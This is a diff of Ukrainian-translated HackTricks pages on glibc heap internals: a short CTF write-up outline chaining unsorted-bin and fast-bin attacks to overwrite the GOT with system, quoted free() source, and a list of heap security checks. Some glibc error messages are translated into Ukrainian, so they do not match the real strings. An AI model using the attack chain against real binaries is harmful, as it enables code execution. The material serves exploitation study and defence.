* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
* Можливо виділити частини розміром більше `0x100`.
|
||||
* Перезаписати `global_max_fast`, використовуючи атаку на несортований бін (працює 1/16 разів через ASLR, оскільки нам потрібно змінити 12 бітів, але ми повинні змінити 16 бітів).
|
||||
* Атака на швидкі бін-частини для зміни глобального масиву частин. Це надає примітив читання/запису за власним бажанням, що дозволяє змінювати GOT та встановлювати деякі функції, щоб вказувати на `system`.
|
||||
|
||||
{% content-ref url="unsorted-bin-attack.md" %}
|
||||
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,33 @@
|
|||
# Функції керування купою пам'яті
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та вправляйтесь в хакінгу AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та вправляйтесь в хакінгу GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та вправляйтесь в хакінгу AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та вправляйтесь в хакінгу GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
394
binary-exploitation/libc-heap/heap-memory-functions/free.md
Normal file
394
binary-exploitation/libc-heap/heap-memory-functions/free.md
Normal file
|
@ -0,0 +1,394 @@
|
|||
# вільний
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Сумарне замовлення безкоштовно <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
(У цьому зведеному описі не пояснюються перевірки, а деякі випадки були опущені для кратності)
|
||||
|
||||
1. Якщо адреса є нульовою, нічого не робити
|
||||
2. Якщо частина була відображена, відображіть її та завершіть
|
||||
3. Виклик `_int_free`:
|
||||
1. Якщо можливо, додайте частину до tcache
|
||||
2. Якщо можливо, додайте частину до швидкого біна
|
||||
3. Викличте `_int_free_merge_chunk`, щоб сконсолідувати частину, якщо це потрібно, та додайте її до неупорядкованого списку
|
||||
|
||||
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
`Free` викликає `__libc_free`.
|
||||
|
||||
* Якщо передана адреса є Null (0), нічого не робити.
|
||||
* Перевірте тег вказівника
|
||||
* Якщо частина є `mmaped`, викличте `mummap` і все
|
||||
* Якщо ні, додайте колір та викличте `_int_free` над ним
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Код __lib_free</summary>
|
||||
```c
|
||||
void
|
||||
__libc_free (void *mem)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
mchunkptr p; /* chunk corresponding to mem */
|
||||
|
||||
if (mem == 0) /* free(0) has no effect */
|
||||
return;
|
||||
|
||||
/* Quickly check that the freed pointer matches the tag for the memory.
|
||||
This gives a useful double-free detection. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
*(volatile char *)mem;
|
||||
|
||||
int err = errno;
|
||||
|
||||
p = mem2chunk (mem);
|
||||
|
||||
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||
{
|
||||
/* See if the dynamic brk/mmap threshold needs adjusting.
|
||||
Dumped fake mmapped chunks do not affect the threshold. */
|
||||
if (!mp_.no_dyn_threshold
|
||||
&& chunksize_nomask (p) > mp_.mmap_threshold
|
||||
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
|
||||
{
|
||||
mp_.mmap_threshold = chunksize (p);
|
||||
mp_.trim_threshold = 2 * mp_.mmap_threshold;
|
||||
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
|
||||
mp_.mmap_threshold, mp_.trim_threshold);
|
||||
}
|
||||
munmap_chunk (p);
|
||||
}
|
||||
else
|
||||
{
|
||||
MAYBE_INIT_TCACHE ();
|
||||
|
||||
/* Mark the chunk as belonging to the library again. */
|
||||
(void)tag_region (chunk2mem (p), memsize (p));
|
||||
|
||||
ar_ptr = arena_for_chunk (p);
|
||||
_int_free (ar_ptr, p, 0);
|
||||
}
|
||||
|
||||
__set_errno (err);
|
||||
}
|
||||
libc_hidden_def (__libc_free)
|
||||
```
|
||||
</details>
|
||||
|
||||
## \_int\_free <a href="#int_free" id="int_free"></a>
|
||||
|
||||
### Початок \_int\_free <a href="#int_free" id="int_free"></a>
|
||||
|
||||
Це починається з деяких перевірок, щоб переконатися, що:
|
||||
|
||||
* **вказівник** є **вирівняним,** або спричинити помилку `free(): invalid pointer`
|
||||
* **розмір** не менше мінімального та що **розмір** також **вирівняний,** або спричинити помилку: `free(): invalid size`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Початок \_int\_free</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
|
||||
|
||||
#define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0)
|
||||
|
||||
static void
|
||||
_int_free (mstate av, mchunkptr p, int have_lock)
|
||||
{
|
||||
INTERNAL_SIZE_T size; /* its size */
|
||||
mfastbinptr *fb; /* associated fastbin */
|
||||
|
||||
size = chunksize (p);
|
||||
|
||||
/* Little security check which won't hurt performance: the
|
||||
allocator never wraps around at the end of the address space.
|
||||
Therefore we can exclude some size values which might appear
|
||||
here by accident or by "design" from some intruder. */
|
||||
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|
||||
|| __builtin_expect (misaligned_chunk (p), 0))
|
||||
malloc_printerr ("free(): invalid pointer");
|
||||
/* We know that each chunk is at least MINSIZE bytes in size or a
|
||||
multiple of MALLOC_ALIGNMENT. */
|
||||
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
|
||||
malloc_printerr ("free(): invalid size");
|
||||
|
||||
check_inuse_chunk(av, p);
|
||||
```
|
||||
</details>
|
||||
|
||||
### \_int\_free tcache <a href="#int_free" id="int_free"></a>
|
||||
|
||||
Спочатку він спробує виділити цей фрагмент у відповідному tcache. Однак перед цим виконуються деякі перевірки. Він буде перебирати всі фрагменти tcache у тому ж індексі, що і вільний фрагмент, і:
|
||||
|
||||
* Якщо є більше записів, ніж `mp_.tcache_count`: `free(): too many chunks detected in tcache`
|
||||
* Якщо запис не вирівняний: `free(): unaligned chunk detected in tcache 2`
|
||||
* якщо вільний фрагмент вже був вивільнений і присутній як фрагмент у tcache: `free(): double free detected in tcache 2`
|
||||
|
||||
Якщо все пройде успішно, фрагмент додається до tcache, і функція повертається.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free tcache</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
|
||||
#if USE_TCACHE
|
||||
{
|
||||
size_t tc_idx = csize2tidx (size);
|
||||
if (tcache != NULL && tc_idx < mp_.tcache_bins)
|
||||
{
|
||||
/* Check to see if it's already in the tcache. */
|
||||
tcache_entry *e = (tcache_entry *) chunk2mem (p);
|
||||
|
||||
/* This test succeeds on double free. However, we don't 100%
|
||||
trust it (it also matches random payload data at a 1 in
|
||||
2^<size_t> chance), so verify it's not an unlikely
|
||||
coincidence before aborting. */
|
||||
if (__glibc_unlikely (e->key == tcache_key))
|
||||
{
|
||||
tcache_entry *tmp;
|
||||
size_t cnt = 0;
|
||||
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
|
||||
for (tmp = tcache->entries[tc_idx];
|
||||
tmp;
|
||||
tmp = REVEAL_PTR (tmp->next), ++cnt)
|
||||
{
|
||||
if (cnt >= mp_.tcache_count)
|
||||
malloc_printerr ("free(): too many chunks detected in tcache");
|
||||
if (__glibc_unlikely (!aligned_OK (tmp)))
|
||||
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
|
||||
if (tmp == e)
|
||||
malloc_printerr ("free(): double free detected in tcache 2");
|
||||
/* If we get here, it was a coincidence. We've wasted a
|
||||
few cycles, but don't abort. */
|
||||
}
|
||||
}
|
||||
|
||||
if (tcache->counts[tc_idx] < mp_.tcache_count)
|
||||
{
|
||||
tcache_put (p, tc_idx);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
```
|
||||
</details>
|
||||
|
||||
### \_int\_free швидкий бін <a href="#int_free" id="int_free"></a>
|
||||
|
||||
Почніть з перевірки, чи розмір підходить для швидкого біна та перевірки можливості встановлення його близько до верхнього чанка.
|
||||
|
||||
Потім додайте вивільнений чанк у верхню частину швидкого біна, виконуючи деякі перевірки:
|
||||
|
||||
* Якщо розмір чанку недійсний (занадто великий або малий), спрацює: `free(): invalid next size (fast)`
|
||||
* Якщо доданий чанк вже був у верхній частині швидкого біна: `double free or corruption (fasttop)`
|
||||
* Якщо розмір чанку у верхній частині відрізняється від розміру чанку, який ми додаємо: `invalid fastbin entry (free)`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free Fast Bin</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
|
||||
|
||||
/*
|
||||
If eligible, place chunk on a fastbin so it can be found
|
||||
and used quickly in malloc.
|
||||
*/
|
||||
|
||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
|
||||
|
||||
#if TRIM_FASTBINS
|
||||
/*
|
||||
If TRIM_FASTBINS set, don't place chunks
|
||||
bordering top into fastbins
|
||||
*/
|
||||
&& (chunk_at_offset(p, size) != av->top)
|
||||
#endif
|
||||
) {
|
||||
|
||||
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
|
||||
<= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||||
>= av->system_mem, 0))
|
||||
{
|
||||
bool fail = true;
|
||||
/* We might not have a lock at this point and concurrent modifications
|
||||
of system_mem might result in a false positive. Redo the test after
|
||||
getting the lock. */
|
||||
if (!have_lock)
|
||||
{
|
||||
__libc_lock_lock (av->mutex);
|
||||
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|
||||
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
|
||||
if (fail)
|
||||
malloc_printerr ("free(): invalid next size (fast)");
|
||||
}
|
||||
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
|
||||
atomic_store_relaxed (&av->have_fastchunks, true);
|
||||
unsigned int idx = fastbin_index(size);
|
||||
fb = &fastbin (av, idx);
|
||||
|
||||
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
|
||||
mchunkptr old = *fb, old2;
|
||||
|
||||
if (SINGLE_THREAD_P)
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
*fb = p;
|
||||
}
|
||||
else
|
||||
do
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
old2 = old;
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
}
|
||||
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
|
||||
!= old2);
|
||||
|
||||
/* Check that size of fastbin chunk at the top is the same as
|
||||
size of the chunk that we are adding. We can dereference OLD
|
||||
only if we have the lock, otherwise it might have already been
|
||||
allocated again. */
|
||||
if (have_lock && old != NULL
|
||||
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
|
||||
malloc_printerr ("invalid fastbin entry (free)");
|
||||
}
|
||||
```
|
||||
### Завершення \_int\_free <a href="#int_free" id="int_free"></a>
|
||||
|
||||
Якщо блок ще не був виділений на будь-якому біні, викликайте `_int_free_merge_chunk`
|
||||
```c
|
||||
/*
|
||||
Consolidate other non-mmapped chunks as they arrive.
|
||||
*/
|
||||
|
||||
else if (!chunk_is_mmapped(p)) {
|
||||
|
||||
/* If we're single-threaded, don't lock the arena. */
|
||||
if (SINGLE_THREAD_P)
|
||||
have_lock = true;
|
||||
|
||||
if (!have_lock)
|
||||
__libc_lock_lock (av->mutex);
|
||||
|
||||
_int_free_merge_chunk (av, p, size);
|
||||
|
||||
if (!have_lock)
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
/*
|
||||
If the chunk was allocated via mmap, release via munmap().
|
||||
*/
|
||||
|
||||
else {
|
||||
munmap_chunk (p);
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
## \_int\_free\_merge\_chunk
|
||||
|
||||
Ця функція спробує об'єднати частину P розміром SIZE байтів з його сусідами. Помістіть отриману частину в список несортованих блоків.
|
||||
|
||||
Виконуються деякі перевірки:
|
||||
|
||||
* Якщо частина є верхньою частиною: `подвійне вивільнення або пошкодження (верх)`
|
||||
* Якщо наступна частина знаходиться за межами арени: `подвійне вивільнення або пошкодження (зовні)`
|
||||
* Якщо частина не позначена як використана (в `prev_inuse` наступної частини): `подвійне вивільнення або пошкодження (!prev)`
|
||||
* Якщо наступна частина має занадто малий або занадто великий розмір: `free(): недійсний наступний розмір (звичайний)`
|
||||
* якщо попередня частина не використовується, вона спробує сконсолідувати. Але, якщо prev\_size відрізняється від розміру, вказаного в попередній частині: `пошкоджений розмір проти prev_size під час консолідації`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free_merge_chunk code</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
|
||||
|
||||
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
|
||||
resulting chunk on the appropriate bin list. P must not be on a
|
||||
bin list yet, and it can be in use. */
|
||||
static void
|
||||
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
|
||||
{
|
||||
mchunkptr nextchunk = chunk_at_offset(p, size);
|
||||
|
||||
/* Lightweight tests: check whether the block is already the
|
||||
top block. */
|
||||
if (__glibc_unlikely (p == av->top))
|
||||
malloc_printerr ("double free or corruption (top)");
|
||||
/* Or whether the next chunk is beyond the boundaries of the arena. */
|
||||
if (__builtin_expect (contiguous (av)
|
||||
&& (char *) nextchunk
|
||||
>= ((char *) av->top + chunksize(av->top)), 0))
|
||||
malloc_printerr ("double free or corruption (out)");
|
||||
/* Or whether the block is actually not marked used. */
|
||||
if (__glibc_unlikely (!prev_inuse(nextchunk)))
|
||||
malloc_printerr ("double free or corruption (!prev)");
|
||||
|
||||
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
|
||||
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (nextsize >= av->system_mem, 0))
|
||||
malloc_printerr ("free(): invalid next size (normal)");
|
||||
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
|
||||
/* Consolidate backward. */
|
||||
if (!prev_inuse(p))
|
||||
{
|
||||
INTERNAL_SIZE_T prevsize = prev_size (p);
|
||||
size += prevsize;
|
||||
p = chunk_at_offset(p, -((long) prevsize));
|
||||
if (__glibc_unlikely (chunksize(p) != prevsize))
|
||||
malloc_printerr ("corrupted size vs. prev_size while consolidating");
|
||||
unlink_chunk (av, p);
|
||||
}
|
||||
|
||||
/* Write the chunk header, maybe after merging with the following chunk. */
|
||||
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
|
||||
_int_free_maybe_consolidate (av, size);
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,173 @@
|
|||
# Перевірки безпеки функцій купи
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## unlink
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{% content-ref url="unlink.md" %}
|
||||
[unlink.md](unlink.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ось підсумок виконаних перевірок:
|
||||
|
||||
* Перевірте, чи вказаний розмір фрагмента співпадає з `prev_size`, вказаним у наступному фрагменті
|
||||
* Повідомлення про помилку: `corrupted size vs. prev_size`
|
||||
* Також перевірте, що `P->fd->bk == P` та `P->bk->fw == P`
|
||||
* Повідомлення про помилку: `corrupted double-linked list`
|
||||
* Якщо фрагмент не є малим, перевірте, що `P->fd_nextsize->bk_nextsize == P` та `P->bk_nextsize->fd_nextsize == P`
|
||||
* Повідомлення про помилку: `corrupted double-linked list (not small)`
|
||||
|
||||
## \_int\_malloc
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{% content-ref url="malloc-and-sysmalloc.md" %}
|
||||
[malloc-and-sysmalloc.md](malloc-and-sysmalloc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Перевірки під час пошуку швидкого біна:**
|
||||
* Якщо фрагмент не вирівняний:
|
||||
* Повідомлення про помилку: `malloc(): unaligned fastbin chunk detected 2`
|
||||
* Якщо наступний фрагмент не вирівняний:
|
||||
* Повідомлення про помилку: `malloc(): unaligned fastbin chunk detected`
|
||||
* Якщо повернутий фрагмент має неправильний розмір через його індекс у швидкому біні:
|
||||
* Повідомлення про помилку: `malloc(): memory corruption (fast)`
|
||||
* Якщо будь-який фрагмент, використаний для заповнення tcache, не вирівняний:
|
||||
* Повідомлення про помилку: `malloc(): unaligned fastbin chunk detected 3`
|
||||
* **Перевірки під час пошуку малого біна:**
|
||||
* Якщо `victim->bk->fd != victim`:
|
||||
* Повідомлення про помилку: `malloc(): smallbin double linked list corrupted`
|
||||
* **Перевірки під час консолідації** виконуються для кожного швидкого біну: 
|
||||
* Якщо фрагмент не вирівняний, викличте:
|
||||
* Повідомлення про помилку: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
* Якщо розмір фрагмента відрізняється від того, який він повинен мати через індекс:
|
||||
* Повідомлення про помилку: `malloc_consolidate(): invalid chunk size`
|
||||
* Якщо попередній фрагмент не використовується, а попередній фрагмент має розмір, відмінний від вказаного prev\_chunk:
|
||||
* Повідомлення про помилку: `corrupted size vs. prev_size in fastbins`
|
||||
* **Перевірки під час пошуку несортованого біна**:
|
||||
* Якщо розмір фрагмента дивний (занадто малий або занадто великий): 
|
||||
* Повідомлення про помилку: `malloc(): invalid size (unsorted)`
|
||||
* Якщо розмір наступного фрагмента дивний (занадто малий або занадто великий):
|
||||
* Повідомлення про помилку: `malloc(): invalid next size (unsorted)`
|
||||
* Якщо попередній розмір, вказаний наступним фрагментом, відрізняється від розміру фрагмента:
|
||||
* Повідомлення про помилку: `malloc(): mismatching next->prev_size (unsorted)`
|
||||
* Якщо не `victim->bck->fd == victim` або не `victim->fd == av (arena)`:
|
||||
* Повідомлення про помилку: `malloc(): unsorted double linked list corrupted`
|
||||
* Оскільки ми завжди перевіряємо останній, його fd повинен завжди вказувати на структуру арени.
|
||||
* Якщо наступний фрагмент не вказує, що попередній використовується:
|
||||
* Повідомлення про помилку: `malloc(): invalid next->prev_inuse (unsorted)`
|
||||
* Якщо `fwd->bk_nextsize->fd_nextsize != fwd`:
|
||||
* Повідомлення про помилку: `malloc(): largebin double linked list corrupted (nextsize)`
|
||||
* Якщо `fwd->bk->fd != fwd`:
|
||||
* Повідомлення про помилку: `malloc(): largebin double linked list corrupted (bk)`
|
||||
* **Перевірки під час пошуку великого біна (за індексом):**
|
||||
* `bck->fd-> bk != bck`:
|
||||
* Повідомлення про помилку: `malloc(): corrupted unsorted chunks`
|
||||
* **Перевірки під час пошуку великого біна (наступний більший):**
|
||||
* `bck->fd-> bk != bck`:
|
||||
* Повідомлення про помилку: `malloc(): corrupted unsorted chunks2`
|
||||
* **Перевірки під час використання верхнього фрагмента:**
|
||||
* `chunksize(av->top) > av->system_mem`:
|
||||
* Повідомлення про помилку: `malloc(): corrupted top size`
|
||||
|
||||
## `tcache_get_n`
|
||||
|
||||
* **Перевірки в `tcache_get_n`:**
|
||||
* Якщо фрагмент не вирівняний:
|
||||
* Повідомлення про помилку: `malloc(): unaligned tcache chunk detected`
|
||||
|
||||
## `tcache_thread_shutdown`
|
||||
|
||||
* **Перевірки в `tcache_thread_shutdown`:**
|
||||
* Якщо фрагмент не вирівняний:
|
||||
* Повідомлення про помилку: `tcache_thread_shutdown(): unaligned tcache chunk detected`
|
||||
|
||||
## `__libc_realloc`
|
||||
|
||||
* **Перевірки в `__libc_realloc`:**
|
||||
* Якщо старий вказівник не вирівняний або розмір був неправильним:
|
||||
* Повідомлення про помилку: `realloc(): invalid pointer`
|
||||
|
||||
## `_int_free`
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{% content-ref url="free.md" %}
|
||||
[free.md](free.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Перевірки на початку `_int_free`:**
|
||||
* Вказівник вирівняний:
|
||||
* Повідомлення про помилку: `free(): invalid pointer`
|
||||
* Розмір більше, ніж `MINSIZE`, і розмір також вирівняний:
|
||||
* Повідомлення про помилку: `free(): invalid size`
|
||||
* **Перевірки в `_int_free` tcache:**
|
||||
* Якщо записів більше, ніж `mp_.tcache_count`:
|
||||
* Повідомлення про помилку: `free(): too many chunks detected in tcache`
|
||||
* Якщо запис не вирівняний:
|
||||
* Повідомлення про помилку: `free(): unaligned chunk detected in tcache 2`
|
||||
* Якщо вивільнений фрагмент вже був вивільнений і присутній як фрагмент у tcache:
|
||||
* Повідомлення про помилку: `free(): double free detected in tcache 2`
|
||||
* **Перевірки в `_int_free` fast bin:**
|
||||
* Якщо розмір фрагмента недійсний (занадто великий або малий), викличте:
|
||||
* Повідомлення про помилку: `free(): invalid next size (fast)`
|
||||
* Якщо доданий фрагмент вже був на вершині швидкого біна:
|
||||
* Повідомлення про помилку: `double free or corruption (fasttop)`
|
||||
* Якщо розмір фрагмента на вершині відрізняється від розміру фрагмента, який ми додаємо:
|
||||
* Повідомлення про помилку: `invalid fastbin entry (free)`
|
||||
## **`_int_free_merge_chunk`**
|
||||
|
||||
* **Перевірки в `_int_free_merge_chunk`:**
|
||||
* Якщо блок - верхній блок:
|
||||
* Повідомлення про помилку: `подвійне вивільнення або пошкодження (верхній блок)`
|
||||
* Якщо наступний блок знаходиться за межами арени:
|
||||
* Повідомлення про помилку: `подвійне вивільнення або пошкодження (зовні)`
|
||||
* Якщо блок не позначений як використаний (в prev\_inuse наступного блоку):
|
||||
* Повідомлення про помилку: `подвійне вивільнення або пошкодження (!prev)`
|
